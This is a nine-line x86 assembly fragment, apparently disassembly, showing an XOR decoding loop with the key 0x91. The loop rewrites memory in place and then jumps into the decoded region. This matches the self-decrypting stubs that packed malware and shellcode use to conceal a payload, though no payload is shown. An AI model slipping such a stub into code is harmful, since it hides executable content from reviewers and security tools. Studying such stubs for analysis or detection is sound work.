xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx